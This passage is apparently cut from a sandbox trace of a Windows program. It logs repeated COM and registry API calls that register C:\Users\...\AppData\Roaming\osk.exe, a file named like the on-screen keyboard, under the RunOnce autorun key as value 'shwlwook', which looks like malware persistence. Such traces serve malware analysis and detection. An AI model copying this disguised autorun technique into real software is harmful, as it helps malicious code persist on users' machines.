puArgErr=0x95e874*=0x6240840) returned 0x0 [0255.222] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xe [0255.222] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.222] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.222] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.223] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.223] RegCloseKey (hKey=0x14c) returned 0x0 [0255.223] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.223] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.234] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.234] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.235] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.235] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.235] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240890 | out: ppvObject=0x6240890*=0x0) returned 0x80004002 [0255.235] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x10 [0255.235] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.235] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x11 [0255.235] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a750) returned 0x0 [0255.236] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x10 [0255.236] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.236] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.236] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.236] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.236] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62408b0 | out: ppvObject=0x62408b0*=0x0) returned 0x80004002 [0255.236] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x11 [0255.236] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x10 [0255.236] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.236] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x10 [0255.237] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x62408c0) returned 0x0 [0255.237] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xf [0255.238] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.238] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.238] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.238] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.239] RegCloseKey (hKey=0x14c) returned 0x0 [0255.239] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.239] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.250] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.250] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.250] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.250] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.250] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240910 | out: ppvObject=0x6240910*=0x0) returned 0x80004002 [0255.251] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x11 [0255.251] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.251] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x12 [0255.251] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a7b0) returned 0x0 [0255.251] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x11 [0255.251] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.251] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.251] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.251] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.252] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240930 | out: ppvObject=0x6240930*=0x0) returned 0x80004002 [0255.252] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x12 [0255.252] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x11 [0255.252] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.252] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x11 [0255.252] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240940) returned 0x0 [0255.253] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x10 [0255.253] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.254] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.254] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.254] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.254] RegCloseKey (hKey=0x14c) returned 0x0 [0255.254] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.255] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.266] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.266] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.266] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.266] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.266] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240990 | out: ppvObject=0x6240990*=0x0) returned 0x80004002 [0255.266] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x12 [0255.267] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.267] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x13 [0255.267] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a810) returned 0x0 [0255.267] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x12 [0255.267] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.267] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.267] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.267] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.267] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62409b0 | out: ppvObject=0x62409b0*=0x0) returned 0x80004002 [0255.268] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x13 [0255.268] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x12 [0255.268] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.268] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x12 [0255.268] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x62409c0) returned 0x0 [0255.269] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x11 [0255.269] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 